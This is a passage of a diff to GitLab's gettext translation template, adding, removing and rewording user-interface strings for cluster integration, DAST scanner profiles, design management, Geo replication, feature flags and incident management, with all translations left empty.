+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
